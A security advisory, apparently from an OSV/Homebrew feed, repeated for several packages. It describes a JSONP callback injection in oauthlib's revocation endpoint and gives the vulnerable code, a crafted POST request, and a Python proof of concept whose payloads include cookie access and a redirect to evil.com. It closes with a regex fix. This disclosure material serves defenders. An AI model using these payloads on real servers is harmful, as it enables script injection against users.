The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "evernote-backup",
"purl": "pkg:brew/evernote-backup"
},
"ranges": [
{
"events": [
{
"introduced": "1.9.0"
},
{
"fixed": "1.14.0_2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be present\"\nprint(f\" [{status}] {body}\")\nprint(\"\\nAll assertions passed.\")\n```\n\n**Expected output:**\n\n```\nError path (enable_jsonp=True, auth fails):\n [401] Content-Type: application/json Body: alert(document.cookie)//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: window.location=\u0027https://evil.com/\u0027//({\"error\": \"invalid_client\"});\n [401] Content-Type: application/json Body: eval(\u0027malicious\u0027)//({\"error\": \"invalid_client\"});\n\nSuccess path (enable_jsonp=True, revocation succeeds):\n [200] Content-Type: (none) Body: alert(document.cookie)//();\n [200] Content-Type: (none) Body: window.location=\u0027https://evil.com/\u0027//();\n [200] Content-Type: (none) Body: eval(\u0027malicious\u0027)//();\n\nControl (enable_jsonp=False, default):\n [401] {\"error\": \"invalid_client\"}\n\nAll assertions passed.\n```\n\nBoth paths reflect the attacker\u0027s payload verbatim into the response body.\n\n### Impact\n\nAny oauthlib-based authorization server that enables JSONP on the revocation endpoint (`enable_jsonp=True`) returns attacker-controlled JavaScript in its response body.\n\nAny page or application that loads this endpoint\u0027s response as JSONP and exposes attacker influence over the `callback` parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib\u0027s client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page\u0027s DOM and any data normally accessible to scripts running in that origin.\n\nThe JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.\n\n**Affected versions:** oauthlib \u003e= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit `da775de`). The `enable_jsonp` gate was added in 2014 (commit `b85f89a`) but no validation of the callback value was ever added.\n\n### Suggested fix\n\nValidate the `callback` parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:\n\n```python\nimport re\n\n# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated\nJSONP_CALLBACK_PATTERN = re.compile(r\u0027^[a-zA-Z_$][a-zA-Z0-9_$]*(\\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$\u0027)\n\n# In create_revocation_response(), before using request.callback:\nif self.enable_jsonp and request.callback:\n if not JSONP_CALLBACK_PATTERN.match(request.callback):\n request.callback = None\n```\n\nThis is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like `package.hello_world` are accepted, while blocking payloads like `alert(document.cookie)//`.\n\nAs a secondary hardening measure, when JSONP is enabled, the response should set `Content-Type: application/javascript` (not `application/json` or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns `application/json`.\n\nAlternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the `enable_jsonp` option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.",
"id": "BREW-evernote-backup-CVE-2026-49264",
"modified": "2026-10-14T08:48:54Z",
"published": "2026-09-30T18:49:41Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/security/advisories/GHSA-hj66-6f7g-4r5v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49264"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/pull/951"
},
{
"type": "WEB",
"url": "https://github.com/oauthlib/oauthlib/commit/c888359f3c42bec235b2c5caab2069c9ed62457c"
},
{
"type": "PACKAGE",
"url": "https://github.com/oauthlib/oauthlib"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/oauthlib/PYSEC-2026-4113.yaml"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Oauthlib : Unsafe JSONP callback injection in RevocationEndpoint allows arbitrary JavaScript response generation",
"upstream": [
"GHSA-hj66-6f7g-4r5v",
"CVE-2026-49264",
"PYSEC-2026-4113"
]
}
BREW-GCALCLI-CVE-2026-49264 (GHSA-HJ66-6F7G-4R5V)
Vulnerability from osv_homebrew – Published: 2026-09-30 20:05 – Updated: 2026-10-14 09:24 – Source websiteSummary
When enable_jsonp=True, oauthlib's RevocationEndpoint reflects the user-supplied callback parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence callback.
Details
The issue is in oauthlib/oauth2/rfc6749/endpoints/revocation.py.
When enable_jsonp=True is passed to the RevocationEndpoint constructor, two code paths wrap the response body using the user-supplied request.callback parameter:
# Error response path (line 72-73):
if self.enable_jsonp and request.callback:
response_body = '{}({});'.format(request.callback, response_body)
# Success response path (line 81-82):
if self.enable_jsonp and request.callback:
response_body = request.callback + '();'
The request.callback value comes from HTTP request parameters, either the query string or POST body, via the Request class in oauthlib/common.py (lines 394-395), which merges query and body parameters into _params. Any value the client sends as callback is used verbatim.
There is no validation of any kind on the callback parameter: - No check that it is a valid JavaScript identifier - No whitelist of allowed characters - No escaping or sanitization
A safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching ^[a-zA-Z_$][a-zA-Z0-9_$.]*$). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.
How the injection works:
An attacker sends a revocation request with a crafted callback value:
POST /revoke HTTP/1.1
Content-Type: application/x-www-form-urlencoded
token=anything&callback=alert(document.cookie)//
The server responds with:
alert(document.cookie)//({"error": "invalid_client"});
This is syntactically valid JavaScript. alert(document.cookie) executes as a statement, and // comments out the rest of the line. The attacker has full control over the code that appears before the //.
Execution context and attack surface:
JSONP works by having a browser load a remote script via <script src="...">. The loaded script executes in the origin of the including page, not the remote server. This means a <script src="https://auth.example.com/revoke?token=x&callback=payload"> tag on evil.com would execute the payload in evil.com's context, not the auth server's context.
The impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes <script src> pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application's origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.
Note: the enable_jsonp parameter defaults to False, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes prepare_token_revocation_request() with an explicit callback parameter (oauthlib/oauth2/rfc6749/parameters.py, line 174), and the documentation shows JSONP revocation as a use case (oauthlib/oauth2/rfc6749/clients/base.py, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (test_revocation_endpoint.py, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.
PoC
Requirements: Python 3.x with oauthlib installed (pip install oauthlib).
from oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint
from oauthlib.oauth2.rfc6749.request_validator import RequestValidator
class FailValidator(RequestValidator):
"""Auth fails -> triggers error response path (lines 72-73)."""
def client_authentication_required(self, request, *a, **kw): return True
def authenticate_client(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return False
class PassValidator(RequestValidator):
"""Auth passes -> triggers success response path (lines 81-82)."""
def client_authentication_required(self, request, *a, **kw): return False
def authenticate_client_id(self, client_id, request, *a, **kw): return True
def revoke_token(self, token, token_type_hint, request, *a, **kw): pass
payloads = [
"alert(document.cookie)//",
"window.location='https://evil.com/'//",
"eval('malicious')//",
]
# --- Error path (401) ---
print("Error path (enable_jsonp=True, auth fails):")
ep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_fail.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Success path (200) ---
print("\nSuccess path (enable_jsonp=True, revocation succeeds):")
ep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)
for p in payloads:
h, body, status = ep_pass.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body=f"token=x&callback={p}")
assert p in body, "Payload not reflected"
print(f" [{status}] Content-Type: {h.get('Content-Type','(none)')} Body: {body}")
# --- Control (default: enable_jsonp=False) ---
print("\nControl (enable_jsonp=False, default):")
ep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)
_, body, status = ep_safe.create_revocation_response(
"https://auth.example.com/revoke", http_method="POST",
body="token=x&callback=alert(1)//")
assert "alert" not in body, "Payload should not be present"
print(f" [{status}] {body}")
print("\nAll assertions passed.")
Expected output:
Error path (enable_jsonp=True, auth fails):
[401] Content-Type: application/json Body: alert(document.cookie)//({"error": "invalid_client"});
[401] Content-Type: application/json Body: window.location='https://evil.com/'//({"error": "invalid_client"});
[401] Content-Type: application/json Body: eval('malicious')//({"error": "invalid_client"});
Success path (enable_jsonp=True, revocation succeeds):
[200] Content-Type: (none) Body: alert(document.cookie)//();
[200] Content-Type: (none) Body: window.location='https://evil.com/'//();
[200] Content-Type: (none) Body: eval('malicious')//();
Control (enable_jsonp=False, default):
[401] {"error": "invalid_client"}
All assertions passed.
Both paths reflect the attacker's payload verbatim into the response body.
Impact
Any oauthlib-based authorization server that enables JSONP on the revocation endpoint (enable_jsonp=True) returns attacker-controlled JavaScript in its response body.
Any page or application that loads this endpoint's response as JSONP and exposes attacker influence over the callback parameter will execute attacker-controlled code in its own origin. If a legitimate OAuth client uses JSONP revocation (as documented by oauthlib's client-side API) and an attacker can influence the callback value, the attacker controls what code runs in the client application, including access to the client page's DOM and any data normally accessible to scripts running in that origin.
The JSONP feature is intended for legacy cross-origin browser support. Deployments that need it are typically JavaScript-heavy clients, exactly the environment most sensitive to script injection.
Affected versions: oauthlib >= 0.6.1 through 3.3.1 (current) and master. The unsanitized callback has been present since the revocation endpoint was first introduced in 2013 (commit da775de). The enable_jsonp gate was added in 2014 (commit b85f89a) but no validation of the callback value was ever added.
Suggested fix
Validate the callback parameter against a strict pattern for legal JavaScript identifiers before using it in the response. Reject or ignore values that do not match:
import re
# Only allow safe JSONP callback names: valid JS identifiers, optionally dot-separated
JSONP_CALLBACK_PATTERN = re.compile(r'^[a-zA-Z_$][a-zA-Z0-9_$]*(\.[a-zA-Z_$][a-zA-Z0-9_$]*)*$')
# In create_revocation_response(), before using request.callback:
if self.enable_jsonp and request.callback:
if not JSONP_CALLBACK_PATTERN.match(request.callback):
request.callback = None
This is the standard mitigation for JSONP callback injection and is the approach used by jQuery, Express.js, and Google APIs. It ensures only syntactically valid function names like package.hello_world are accepted, while blocking payloads like alert(document.cookie)//.
As a secondary hardening measure, when JSONP is enabled, the response should set Content-Type: application/javascript (not application/json or empty) to ensure correct browser handling. Currently the success path returns no Content-Type at all, and the error path returns application/json.
Alternatively, if JSONP is no longer considered a necessary feature, consider deprecating and removing the enable_jsonp option entirely. CORS is now supported by all modern browsers and is the standard mechanism for cross-origin API access.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "oauthlib",
"resource_purl": "pkg:pypi/oauthlib@4.0.0",
"upstream_fixed_in": "4.0.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "gcalcli",
"purl": "pkg:brew/gcalcli"
},
"ranges": [
{
"events": [
{
"introduced": "4.4.0"
},
{
"fixed": "4.5.1_14"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/oauthlib@4.0.0",
"name": "oauthlib",
"resource": "oauthlib",
"strategy": "registry",
"subject_version": "4.0.0"
}
]
},
"details": "### Summary\n\nWhen `enable_jsonp=True`, oauthlib\u0027s `RevocationEndpoint` reflects the user-supplied `callback` parameter directly into JavaScript response bodies on both success and error paths without validating that it is a legal JSONP callback name. This allows arbitrary JavaScript response generation instead of a restricted function call, making the documented JSONP revocation feature unsafe for browser-based JSONP consumption when attackers can influence `callback`.\n\n### Details\n\nThe issue is in `oauthlib/oauth2/rfc6749/endpoints/revocation.py`.\n\nWhen `enable_jsonp=True` is passed to the `RevocationEndpoint` constructor, two code paths wrap the response body using the user-supplied `request.callback` parameter:\n\n```python\n# Error response path (line 72-73):\nif self.enable_jsonp and request.callback:\n response_body = \u0027{}({});\u0027.format(request.callback, response_body)\n\n# Success response path (line 81-82):\nif self.enable_jsonp and request.callback:\n response_body = request.callback + \u0027();\u0027\n```\n\nThe `request.callback` value comes from HTTP request parameters, either the query string or POST body, via the `Request` class in `oauthlib/common.py` (lines 394-395), which merges query and body parameters into `_params`. Any value the client sends as `callback` is used verbatim.\n\nThere is no validation of any kind on the callback parameter:\n- No check that it is a valid JavaScript identifier\n- No whitelist of allowed characters\n- No escaping or sanitization\n\nA safe JSONP implementation must validate that the callback is a legal JavaScript function name (e.g., matching `^[a-zA-Z_$][a-zA-Z0-9_$.]*$`). Without this, the attacker controls the JavaScript code returned in the response body. This is the standard mitigation used by jQuery, Express.js, Google APIs, and other major JSONP implementations.\n\n**How the injection works:**\n\nAn attacker sends a revocation request with a crafted callback value:\n\n```\nPOST /revoke HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\n\ntoken=anything\u0026callback=alert(document.cookie)//\n```\n\nThe server responds with:\n\n```\nalert(document.cookie)//({\"error\": \"invalid_client\"});\n```\n\nThis is syntactically valid JavaScript. `alert(document.cookie)` executes as a statement, and `//` comments out the rest of the line. The attacker has full control over the code that appears before the `//`.\n\n**Execution context and attack surface:**\n\nJSONP works by having a browser load a remote script via `\u003cscript src=\"...\"\u003e`. The loaded script executes in the origin of the **including page**, not the remote server. This means a `\u003cscript src=\"https://auth.example.com/revoke?token=x\u0026callback=payload\"\u003e` tag on `evil.com` would execute the payload in `evil.com`\u0027s context, not the auth server\u0027s context.\n\nThe impact comes from client-side integrations that consume this endpoint as trusted JSONP. If a legitimate OAuth client includes `\u003cscript src\u003e` pointed at the revocation endpoint and an attacker can influence the callback value (e.g., via query parameter injection, a reflected value, or a man-in-the-middle downgrade), the attacker controls what code runs in the client application\u0027s origin. The authorization server becomes a source of attacker-controlled JavaScript that client applications trust and execute.\n\nNote: the `enable_jsonp` parameter defaults to `False`, so only deployments that explicitly opt in are affected. However, this is a supported, documented library feature, not a debug flag. The client-side library includes `prepare_token_revocation_request()` with an explicit `callback` parameter (`oauthlib/oauth2/rfc6749/parameters.py`, line 174), and the documentation shows JSONP revocation as a use case (`oauthlib/oauth2/rfc6749/clients/base.py`, lines 351-358). The existing test suite tests JSONP callback reflection with a benign value (`test_revocation_endpoint.py`, lines 91-101) but does not test for injection. Deployments that enable JSONP typically do so to support older browsers or cross-origin revocation from JavaScript clients, these are exactly the environments most sensitive to script injection.\n\n### PoC\n\n**Requirements:** Python 3.x with oauthlib installed (`pip install oauthlib`).\n\n```python\nfrom oauthlib.oauth2.rfc6749.endpoints.revocation import RevocationEndpoint\nfrom oauthlib.oauth2.rfc6749.request_validator import RequestValidator\n\n\nclass FailValidator(RequestValidator):\n \"\"\"Auth fails -\u003e triggers error response path (lines 72-73).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return True\n def authenticate_client(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return False\n\n\nclass PassValidator(RequestValidator):\n \"\"\"Auth passes -\u003e triggers success response path (lines 81-82).\"\"\"\n def client_authentication_required(self, request, *a, **kw): return False\n def authenticate_client_id(self, client_id, request, *a, **kw): return True\n def revoke_token(self, token, token_type_hint, request, *a, **kw): pass\n\n\npayloads = [\n \"alert(document.cookie)//\",\n \"window.location=\u0027https://evil.com/\u0027//\",\n \"eval(\u0027malicious\u0027)//\",\n]\n\n# --- Error path (401) ---\nprint(\"Error path (enable_jsonp=True, auth fails):\")\nep_fail = RevocationEndpoint(FailValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_fail.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Success path (200) ---\nprint(\"\\nSuccess path (enable_jsonp=True, revocation succeeds):\")\nep_pass = RevocationEndpoint(PassValidator(), enable_jsonp=True)\nfor p in payloads:\n h, body, status = ep_pass.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=f\"token=x\u0026callback={p}\")\n assert p in body, \"Payload not reflected\"\n print(f\" [{status}] Content-Type: {h.get(\u0027Content-Type\u0027,\u0027(none)\u0027)} Body: {body}\")\n\n# --- Control (default: enable_jsonp=False) ---\nprint(\"\\nControl (enable_jsonp=False, default):\")\nep_safe = RevocationEndpoint(FailValidator(), enable_jsonp=False)\n_, body, status = ep_safe.create_revocation_response(\n \"https://auth.example.com/revoke\", http_method=\"POST\",\n body=\"token=x\u0026callback=alert(1)//\")\nassert \"alert\" not in body, \"Payload should not be 